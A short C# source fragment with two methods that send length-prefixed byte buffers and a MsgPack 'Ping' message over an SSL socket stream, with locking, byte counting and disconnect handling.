public void Send(object msg) { lock (SendSync) { try { if (!ClientSocket.Connected) { Disconnected(); return; } if ((byte[])msg == null) { return; } byte[] buffer = (byte[])msg; byte[] buffersize = BitConverter.GetBytes(buffer.Length); ClientSocket.Poll(-1, SelectMode.SelectWrite); ClientSslStream.Write(buffersize, 0, buffersize.Length); ClientSslStream.Write(buffer, 0, buffer.Length); ClientSslStream.Flush(); Debug.WriteLine("/// Server Sent " + buffer.Length.ToString() + " Bytes ///"); Settings.Sent += buffer.Length; } catch { Disconnected(); return; } } }
public void Ping(object obj) { lock (SendSync) { try { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "Ping"; msgpack.ForcePathObject("Message").AsString = "This is a ping!"; byte[] buffer = msgpack.Encode2Bytes(); byte[] buffersize = BitConverter.GetBytes(buffer.Length); ClientSocket.Poll(-1, SelectMode.SelectWrite); ClientSslStream.Write(buffersize, 0, buffersize.Length); ClientSslStream.Write(buffer, 0, buffer.Length); ClientSslStream.Flush(); } catch { Disconnected(); return; } } }